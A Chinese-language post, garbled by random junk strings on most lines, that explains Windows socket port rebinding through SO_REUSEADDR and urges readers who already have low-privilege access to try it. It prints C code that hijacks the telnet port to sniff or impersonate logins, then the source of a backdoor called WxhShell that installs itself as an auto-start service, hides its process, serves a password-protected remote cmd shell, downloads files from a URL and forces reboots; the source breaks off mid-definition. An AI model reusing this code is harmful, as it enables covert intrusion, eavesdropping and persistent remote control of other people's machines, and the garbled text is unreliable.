在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
63W{U/*aao s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
WtEI] WO !ZFr7Xz saddr.sin_family = AF_INET;
F%xK"l`& xK(IS:HJ* saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>[ eW">:>K ')B =|T) bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
>T<6fpXuk2 \|CPR6I 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
10p8|9rE}B `
^DjEdUN 这意味着什么?意味着可以进行如下的攻击:
5L8&/EN9- ,4[dLWU 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
PK_s#uC otO
j^xU 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
qAoAUDm 'T\dkSJv;V 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
A (Bk@; {m[s<A( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
n-DaX
kK R {HV]o|qk 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
R (G2qi }91*4@B7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
AXs=1 e Kx~$Bor_! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ZWO)tVw9G ; e@gO #include
Q]@c&* _| #include
<3 A0={En #include
4'' ,6KJ@ #include
>OV<_(S4 DWORD WINAPI ClientThread(LPVOID lpParam);
nX|Q~x] int main()
H@GE)I>^@ {
NUCiY\td WORD wVersionRequested;
)l&D]3$6K DWORD ret;
#%:c0= WSADATA wsaData;
t8QRi!\= BOOL val;
F|>05>8 SOCKADDR_IN saddr;
iv*V#J> SOCKADDR_IN scaddr;
.}q]`<]ze int err;
;f:gX`"\ SOCKET s;
^i+[m SOCKET sc;
l<(cd, int caddsize;
> !L&>OOx HANDLE mt;
[E7MsX DWORD tid;
d+;gw*_Ei wVersionRequested = MAKEWORD( 2, 2 );
8-m
3e err = WSAStartup( wVersionRequested, &wsaData );
K/txD20
O| if ( err != 0 ) {
~2@Lx3t$ printf("error!WSAStartup failed!\n");
(9 sIA*,} return -1;
jNA1O68N }
4:7m K/Z saddr.sin_family = AF_INET;
{^#2=`:)O ?c]n^GvG //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Tzzq#z&F Ytao"R/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
aBhV3Fd[B saddr.sin_port = htons(23);
"xe=N if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MoD?2J {
v!9i"@<! printf("error!socket failed!\n");
!nd*W"_gQ/ return -1;
@Y}uZ'jt' }
7{e=="#* val = TRUE;
oKA& An //SO_REUSEADDR选项就是可以实现端口重绑定的
r3qf[?3`6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ySe$4deJ {
YuQ~AE'i printf("error!setsockopt failed!\n");
\=;uu_v$ return -1;
Ye5jB2Z
}
wG1l+^p //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Ts9ktPlm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
z
x@$RS+] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"7,FXTaer d--'Rn5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
pu+ur=5& {
i%-Ld
Ka}" ret=GetLastError();
{^}0 G^ printf("error!bind failed!\n");
]E3<UR return -1;
.$!{-v[ }
eS'yGY0b listen(s,2);
fKHE;A*>% while(1)
GaekFbW) {
y<- _(^ caddsize = sizeof(scaddr);
JBC$Ku //接受连接请求
=WG=C1Z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
EH n"n"Y if(sc!=INVALID_SOCKET)
I7n3xN&4" {
!2tW$BP^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~6aCfbu%V if(mt==NULL)
c+kU o$ {
LOvHkk@+ printf("Thread Creat Failed!\n");
"Pz}@= break;
"5Uh<X }
8z2Rry
w }
CSTI?A"P CloseHandle(mt);
g5Z#xszj+ }
!TKkec8$ closesocket(s);
1u|V`J)0 WSACleanup();
t*G/] return 0;
ka"337H }
~rD={&0 DWORD WINAPI ClientThread(LPVOID lpParam)
8X$LC {
WG7k(Sp] SOCKET ss = (SOCKET)lpParam;
nV*y`.+ SOCKET sc;
9Q;c,] unsigned char buf[4096];
.]x2K-Sf SOCKADDR_IN saddr;
d$W long num;
-%CoWcGP DWORD val;
(:pq77 DWORD ret;
5fJ[}~ //如果是隐藏端口应用的话,可以在此处加一些判断
EH*o"N`!r //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
UPiW73Nu saddr.sin_family = AF_INET;
,=QM#l] saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
b'YE9E saddr.sin_port = htons(23);
b:J(b? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MZ>6o5K| {
FLZWZ; printf("error!socket failed!\n");
S4CbyXW return -1;
ln!'_\{ }
(ljF{)Ml+= val = 100;
])DX%$f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
CO:u1? {
2@=IT0[E\ ret = GetLastError();
j;1 -p>z return -1;
hm*cw[#O1x }
1oLv.L if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
69K{+| {
dXHB # ret = GetLastError();
.7NNT18 return -1;
o Y}]UB> }
DZS]AC* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
~EzaC?fQ {
GoM
ip8'u printf("error!socket connect failed!\n");
!y:%0{l closesocket(sc);
@|}BXQNd closesocket(ss);
H*^\h?s return -1;
qa`-* 4m }
5yZ TcS z while(1)
-]uUY e
c {
I<td1Y1q //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
y&m0Lz53Z //如果是嗅探内容的话,可以再此处进行内容分析和记录
#]?bLm<! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
I04jjr:< num = recv(ss,buf,4096,0);
cF)/^5Z if(num>0)
B+d<F[| send(sc,buf,num,0);
F>je4S; else if(num==0)
|{r$jZeE break;
j%u-dr num = recv(sc,buf,4096,0);
N,dT3we if(num>0)
M 3 '$[ send(ss,buf,num,0);
'_\;jFAM else if(num==0)
$''?HjB}T break;
}9HmTr| }
j(:I7%3&(* closesocket(ss);
h^9"i3H closesocket(sc);
cJo\#cr return 0 ;
^9OUzTF }
>_dx_<75& "xmP6=1 M->*{D@a ==========================================================
VV4Gjc %3q0(Xl 下边附上一个代码,,WXhSHELL
/MMd`VrC2 Migd(uw' ==========================================================
u's`*T@. 3A:q7#m #include "stdafx.h"
Wz4&7KYY zya5Jb:Sg #include <stdio.h>
\Ng\B.IQ #include <string.h>
\<Sv3xy&O #include <windows.h>
YJg,B\z} #include <winsock2.h>
0~wF3BgV #include <winsvc.h>
9SlNq05G7 #include <urlmon.h>
eI.2`)> @E( 7V(m/ #pragma comment (lib, "Ws2_32.lib")
HoV^Y6 #pragma comment (lib, "urlmon.lib")
d)cOhZy f4-a?bp #define MAX_USER 100 // 最大客户端连接数
XC 7?VE #define BUF_SOCK 200 // sock buffer
TD[EQ #define KEY_BUFF 255 // 输入 buffer
YjF|XPv+ l |7,L`utp #define REBOOT 0 // 重启
_=ua6}Xp #define SHUTDOWN 1 // 关机
^;,M}|<h a?|vQ*W #define DEF_PORT 5000 // 监听端口
*<N3_tx" >3 yk#U|7} #define REG_LEN 16 // 注册表键长度
iovfo2!hD #define SVC_LEN 80 // NT服务名长度
09A
X-JP F' U 50usV // 从dll定义API
|@ ,|F:h<M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
NK|? y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
/525w^'pd typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
f/WQ[\<!I typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
iGB_{F~t4} T=hh oGn // wxhshell配置信息
v_e9}yI struct WSCFG {
J"=1/,AS int ws_port; // 监听端口
} VJfJ/ char ws_passstr[REG_LEN]; // 口令
vZ/6\Cz int ws_autoins; // 安装标记, 1=yes 0=no
}X
GEX:1K char ws_regname[REG_LEN]; // 注册表键名
3nT
Z)L } char ws_svcname[REG_LEN]; // 服务名
\s3]_1F;t char ws_svcdisp[SVC_LEN]; // 服务显示名
+*\X]06 char ws_svcdesc[SVC_LEN]; // 服务描述信息
}N_NvY char ws_passmsg[SVC_LEN]; // 密码输入提示信息
lo%;aK int ws_downexe; // 下载执行标记, 1=yes 0=no
AL$&|=C-$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
izh<I0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[E#UGJ@ XwV'Ha };
%r&-gWTQ, 4Mk-2 Dx // default Wxhshell configuration
gaA<}Tp, struct WSCFG wscfg={DEF_PORT,
s9dO,FMs0t "xuhuanlingzhe",
i)#:qAtP* 1,
m}>F<;hQ "Wxhshell",
^F?&|clM/ "Wxhshell",
1qV@qz "WxhShell Service",
A:(*y
2 "Wrsky Windows CmdShell Service",
=%'`YbD$ "Please Input Your Password: ",
ZmOfEg|h\ 1,
D\<y)kh "
http://www.wrsky.com/wxhshell.exe",
8/)qTUx: "Wxhshell.exe"
Ii7QJ:^ };
y_xnai aP'"G^F // 消息定义模块
ARcv;H 5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
w9
w%&{j char *msg_ws_prompt="\n\r? for help\n\r#>";
u77E! z4Uz char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
vI$t+m: char *msg_ws_ext="\n\rExit.";
%| G"-%_E char *msg_ws_end="\n\rQuit.";
Ax !+P\\2~ char *msg_ws_boot="\n\rReboot...";
7'NwJ,$6\ char *msg_ws_poff="\n\rShutdown...";
*6xgctk char *msg_ws_down="\n\rSave to ";
cA6lge<{~ XeBP`\>Ve char *msg_ws_err="\n\rErr!";
.>z][2oz char *msg_ws_ok="\n\rOK!";
9qS"uj uKgZ$-' char ExeFile[MAX_PATH];
XZw6Xtn int nUser = 0;
JdZ+Hp3. HANDLE handles[MAX_USER];
P0`Mdk371 int OsIsNt;
Y(.OF
Q AoA!q> SERVICE_STATUS serviceStatus;
WyP W* SERVICE_STATUS_HANDLE hServiceStatusHandle;
eY{+~|KZ 7JSNYTH // 函数声明
]%Zz \Q int Install(void);
NEa>\K<\ int Uninstall(void);
r>bJ%M} int DownloadFile(char *sURL, SOCKET wsh);
N'xSG`,Mg int Boot(int flag);
(E]!Z vE void HideProc(void);
/?';
nGq int GetOsVer(void);
'zh7_% int Wxhshell(SOCKET wsl);
NBb6T
V}j void TalkWithClient(void *cs);
s,a}?W int CmdShell(SOCKET sock);
^5r9 5 int StartFromService(void);
sgE-`# int StartWxhshell(LPSTR lpCmdLine);
s+:=I
e fO#vF.k% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
LJoGpr8 VOID WINAPI NTServiceHandler( DWORD fdwControl );
e8'wG{3A AIA6yeaU // 数据结构和表定义
7)h[Zy,A SERVICE_TABLE_ENTRY DispatchTable[] =
?f/n0U4w {
fib}b?vk {wscfg.ws_svcname, NTServiceMain},
3>
/K0N|$ {NULL, NULL}
5q"ON)x };
+2 Af&~T _)]CzBRq\6 // 自我安装
!x'/9^i~v int Install(void)
Z,iHy3` {
Zw
wqSyuGf char svExeFile[MAX_PATH];
wcDRH)AW. HKEY key;
u^029sH6j strcpy(svExeFile,ExeFile);
%'0TXr$ 1>L(ul(qGF // 如果是win9x系统,修改注册表设为自启动
4Vq%N if(!OsIsNt) {
\@&_>us if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:x_'i_w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
TIvRhbu RegCloseKey(key);
'mV9 {lj7E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
If%/3UJ@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z4IgBn(Z_} RegCloseKey(key);
'=P7""mN5 return 0;
%,ngRYxT# }
Le%ZV%, }
wj[$9UJb }
0Ia($.1mY else {
q\H[am iX3HtIBj' // 如果是NT以上系统,安装为系统服务
N>>uCkC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?)e37 if (schSCManager!=0)
oPPX&e@=s] {
=_0UD{"_0 SC_HANDLE schService = CreateService
)Wb0u0)_ (
5E notp[ schSCManager,
| [>UH wscfg.ws_svcname,
S8e{K wscfg.ws_svcdisp,
^U]UqX` SERVICE_ALL_ACCESS,
[V:\\$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
2k<;R': SERVICE_AUTO_START,
fA89|NTSUh SERVICE_ERROR_NORMAL,
|r bWYl.b svExeFile,
{/pm<k= NULL,
;NRF=d> NULL,
*{+G=d NULL,
.CFa9"< NULL,
Ao/ jt< NULL
|g*XK6 );
;qBu4'C)T if (schService!=0)
T9s2bC.z55 {
awz;z?~ CloseServiceHandle(schService);
.H,xle CloseServiceHandle(schSCManager);
8zMu7,E strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
IT$25ZF strcat(svExeFile,wscfg.ws_svcname);
\}]!)}G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
2<}NB?f`N RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
n9s iX RegCloseKey(key);
$ [yFsA6 return 0;
FN[{s }
yeHDa+} }
VWO9=A*Y| CloseServiceHandle(schSCManager);
o: ;"w"G }
0
Us5 }
Qqlup cYqfsd# B return 1;
~jsLqY*(+ }
"9n3VX) $HJwb-I // 自我卸载
R"K#7{p9 int Uninstall(void)
f^VP/rdg {
KgR<E HKEY key;
8n>9;D5n im @h -A]0 if(!OsIsNt) {
LQjsOo if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~9j%Hm0ht RegDeleteValue(key,wscfg.ws_regname);
?@V[#. RegCloseKey(key);
FHV-BuH5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^+g$iM[`f RegDeleteValue(key,wscfg.ws_regname);
jRL<JZ1N RegCloseKey(key);
H#ncM~y* return 0;
L5,NP5RC }
P@FHnh3}Z$ }
DY^;EZ!hb }
AFAAuFE" else {
Xn{1 FJX/ $LU"?aAW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
v,ju!I0. if (schSCManager!=0)
F+u|HiYG {
,{c?ym w? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>;[*!<pfK5 if (schService!=0)
Phke`3tth {
@*sWu_-Y% if(DeleteService(schService)!=0) {
=%/)m:f!^ CloseServiceHandle(schService);
YIjTL!bA" CloseServiceHandle(schSCManager);
nvPwngEQm return 0;
q`r**N+zn }
f&
CBU CloseServiceHandle(schService);
8w.YYo8` }
RU\/j%^ CloseServiceHandle(schSCManager);
=AuR:Tx }
k1!@^A }
Sy
'Dp9!| o>VVsH return 1;
G["c\Xux }
ZMq6/G*fD s)pbS}L // 从指定url下载文件
cCxBzkH6 int DownloadFile(char *sURL, SOCKET wsh)
p3^m9J {
ynrT a.. HRESULT hr;
^U!0-y char seps[]= "/";
4F{70"a char *token;
GP#aya char *file;
8e(\%bX char myURL[MAX_PATH];
L+q/){Dd( char myFILE[MAX_PATH];
>:b Q r
>nG@A strcpy(myURL,sURL);
-(=eM3o-9m token=strtok(myURL,seps);
3p'I5,} while(token!=NULL)
Cid
;z {
gdQvp=v] file=token;
zO iu5 token=strtok(NULL,seps);
1Yn
+<I }
S.f5v8 Pjc
Tx + GetCurrentDirectory(MAX_PATH,myFILE);
.qZI$
l. strcat(myFILE, "\\");
f=9|b strcat(myFILE, file);
qXwPDq/ send(wsh,myFILE,strlen(myFILE),0);
r%+V8o send(wsh,"...",3,0);
pS7w' H hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Bf8jPa/ if(hr==S_OK)
v%iflCK return 0;
\:UIc*S else
@qYp>|AF return 1;
Uw7h=UQh ~
(jKz}'~U }
MpR2]k#n< HKUn`ng // 系统电源模块
b"{'T]"*j int Boot(int flag)
N=7pK&NHSG {
k-^mIJo} HANDLE hToken;
5f 5f0|ok TOKEN_PRIVILEGES tkp;
:w^Ed%>y7 ,JQp'e if(OsIsNt) {
]'=)2
.} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
W}mn}gTQ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>: g3k tkp.PrivilegeCount = 1;
R)m'lMi| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
D-._z:_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
+O?KNZ if(flag==REBOOT) {
7](KV" %V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Xx>X5Fy return 0;
OL^l 3F }
,]d/Q< else {
@W"KVPd if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
JVSA&c%3 return 0;
ybKWOp:O }
lE(a%'36 }
W~7A+=& else {
LF& z if(flag==REBOOT) {
@y\XR if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
i=oU;7~zK return 0;
5lUF7:A># }
8p:e##% else {
|$
lM#Ua if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=h5H~G5AT return 0;
]z/8KL }
fUA uqfj[ }
1`qMj0Y_ IvtJ0 return 1;
_v> }_S }
hJpxf,?'K A"dR{8&0 // win9x进程隐藏模块
LoN< oj5 void HideProc(void)
+Z!)^j {
.Z
`av n hRD=Y<>A HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
M:[ %[+6 if ( hKernel != NULL )
I7n"&{s"* {
(<xfCH
F5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
EWkLXU6t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[QoK5Yw{ FreeLibrary(hKernel);
FW G6uKv }
3@$,s~+ 3 VoWNW return;
jk [1{I/ }
_n50C"X=&( sg3OL/" // 获取操作系统版本
MS
81sN\d int GetOsVer(void)
8h*Icf {
!C3MFm{B OSVERSIONINFO winfo;
#(N+((): winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
D"2&P^- GetVersionEx(&winfo);
{YAJBIvHV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
_4U5 return 1;
'mFqEn else
qh|_W(`y return 0;
pS'FI@.'{ }
Y4`}y-'d jZ~n[
f+Q // 客户端句柄模块
2q=AEv/ int Wxhshell(SOCKET wsl)
PGhY>$q>b {
bB1UZ O SOCKET wsh;
Vr`R>S,- struct sockaddr_in client;
;RC{<wBTx DWORD myID;
;S^'V q$Zh@ while(nUser<MAX_USER)
WrxP {
d"*uBVzXm int nSize=sizeof(client);
--HZX wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
H Y&DmE if(wsh==INVALID_SOCKET) return 1;
[S9K6%w_! ;5S9y7[i| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1Z+8r if(handles[nUser]==0)
W14
J],{L closesocket(wsh);
!Sh&3uy_qN else
>,$_| C nUser++;
z"-u95H }
*
KDI}B> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
r%yvOF\> ~=6xyc/c return 0;
+eK"-u~K }
aW)-?(6> [65`$x- // 关闭 socket
-.u]GeMy void CloseIt(SOCKET wsh)
`1$@|FgyC {
"55skmD.P closesocket(wsh);
RI
5yF nUser--;
=[cS0Sy ExitThread(0);
(|:M&Cna] }
vNV/eB8#S pfA|I*`XV // 客户端请求句柄
v&Yi void TalkWithClient(void *cs)
Ai=se2 {
Pq;U&, )wam8k5 SOCKET wsh=(SOCKET)cs;
&:9cAIe]H char pwd[SVC_LEN];
=.f-w0V char cmd[KEY_BUFF];
;c-(ObSm char chr[1];
#~}nFY. int i,j;
Wuc S:8#| ZM!CaR while (nUser < MAX_USER) {
9kN}c<o B(LWdap~ if(wscfg.ws_passstr) {
~:kZgUP_f if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S;3R S; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/YP{,#p //ZeroMemory(pwd,KEY_BUFF);
sJ;g$TB i=0;
NO "xL, while(i<SVC_LEN) {
:~e>Ob[," ov`h // 设置超时
p
Dx1z|@z fd_set FdRead;
&=Ar struct timeval TimeOut;
Z&Pg"a?\ FD_ZERO(&FdRead);
bH7X'%r FD_SET(wsh,&FdRead);
jVv0ST*z TimeOut.tv_sec=8;
ieDk ; TimeOut.tv_usec=0;
\r;#g{
_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|oH,
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
#%a;"w jaTh^L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
3oGt3F{gZ pwd
=chr[0]; 'y;EhOwj,
if(chr[0]==0xd || chr[0]==0xa) { sT 3^hY7
pwd=0; dpAjR
break; Su
586;\
} #I{h\x><?
i++; :1cV;gJ
} gn8R[5:!V
8'r2D+Vwm
// 如果是非法用户,关闭 socket T6O::o6
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |% F=po>w
} ~P*6ozSYpY
3m]4=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \8)U!9,$nn
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lP[w?O
Y}t \4 di
while(1) { 1tEgl\u\
^crCy-`#
ZeroMemory(cmd,KEY_BUFF); 2#KJ asX
mq aHwID
// 自动支持客户端 telnet标准 rHC>z7+z.
j=0; )M,OfXa
while(j<KEY_BUFF) { c(3~0Yr
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &oP+$;Y
cmd[j]=chr[0]; 3EV;LH L
if(chr[0]==0xa || chr[0]==0xd) { 'DY`jVwa
cmd[j]=0; CY
4gSe?
break; R@58*c:U(
} wj*,U~syB
j++; 7,U=Qe;
} prC;L*~8
0[RL>;D:
// 下载文件 Ye"o6_U"
if(strstr(cmd,"http://")) { Eza`Z`
^el
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sz%tJD..
if(DownloadFile(cmd,wsh)) **w!CaqvY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s`M9
else aXQnZ+2e^R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d?s<2RkPT
} ~ZmN44?R
else { oz,np@f)J
Jv>gwV{
switch(cmd[0]) { j#X.KM
s[M?as
// 帮助 a=1NED'
case '?': { }\z.)B4,
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
RJL2J]*S
break; T}Km?d
} X\]L=>]C
// 安装 l Q'I
case 'i': { Nh8Q b/::
if(Install()) NTdixfR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]mo-rhDsM
else eK6hS_E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fz3fwLawI
break; 6%'.A]"
} Qiua
// 卸载 V@B__`y7
case 'r': { =!kk|_0%E
if(Uninstall()) D8inB+/-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !S^AgZ~
else T m_bz&Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yWg@v+
break; T_s_p
} Y#!UPhg<
// 显示 wxhshell 所在路径 4E;VM{
case 'p': { I!^;8Pg
char svExeFile[MAX_PATH]; !9u|fnC9
strcpy(svExeFile,"\n\r"); J4QXz[dG
strcat(svExeFile,ExeFile); 931bA&SL=/
send(wsh,svExeFile,strlen(svExeFile),0); aH 4c02s$
break; E[2m&3&
} 33o9Yg|J~
// 重启 V^7V[(~`
case 'b': { bt"W(m&f
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1e(E:_t
if(Boot(REBOOT)) P?8GV%0$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "8c@sHk(w
else { %@wJ`F2a_
closesocket(wsh); pf%=h
|
ExitThread(0); !g?|9
} *?Lv3}E
break; (*Z)(O*z
} hLI`If/+K
// 关机 W,4QzcQR
case 'd': { '= _/ 1F*q
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NiWa7 /Hr
if(Boot(SHUTDOWN)) w QgoN%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ||T2~Q*:y
else { 8
BY j
closesocket(wsh); lphFhxJA{
ExitThread(0); O}tZ - 'T
} 4zASMu
break; 2>|dF~"
} L;
T8?+ x
// 获取shell vGc,vjC3x
case 's': { |S_T^'<W
CmdShell(wsh); 2VF%@p
closesocket(wsh); B268e
ExitThread(0); FYOD
Upn
break; ,`wXg
} us;YV<)d
// 退出 -u&6X,Oq\u
case 'x': { 9:fOYT$8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B.wYHNNV
CloseIt(wsh); *meZ8DV2DH
break; c;%_EN%
} wmk
*h-
// 离开 >NqYyW,%
case 'q': { 8MK>)P o)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); l\BVS)
closesocket(wsh); p`mS[bxv!
WSACleanup(); ~3UQ|j
exit(1); {p)",)td
break; aiQ>xen5C5
} YCdS!&^UN
} !zuxz
} K)-U1JE7
ln$&``L
// 提示信息 6,"IDH|ND
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \[BK1JP
} w<C#Bka
} h"Xg;(K
g+DzscIT
return; _6_IP0;
} uG?_< mun
$u7;TW6QD
// shell模块句柄 w ihH?~]
int CmdShell(SOCKET sock) .9,zL=)Ba
{ 6$fHtJD:
STARTUPINFO si; m*ISa(#(,
ZeroMemory(&si,sizeof(si)); 2]I4M[|&z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $9]m=S
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {SwQ[$k=_
PROCESS_INFORMATION ProcessInfo; @'YS1 N<
char cmdline[]="cmd"; @L>q(Kg
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &/mA7Vf>eR
return 0; IKABB W
} A&s:\3*Kh
B,M(@5wz
// 自身启动模式 UV5Ie!\nm
int StartFromService(void) cYFiJJLG]
{ j H19k}D
typedef struct Acnl^x7Y1
{ e.]K L('
DWORD ExitStatus; i7]4W
DWORD PebBaseAddress; t/ +=|*
DWORD AffinityMask; ^sa#8^,K
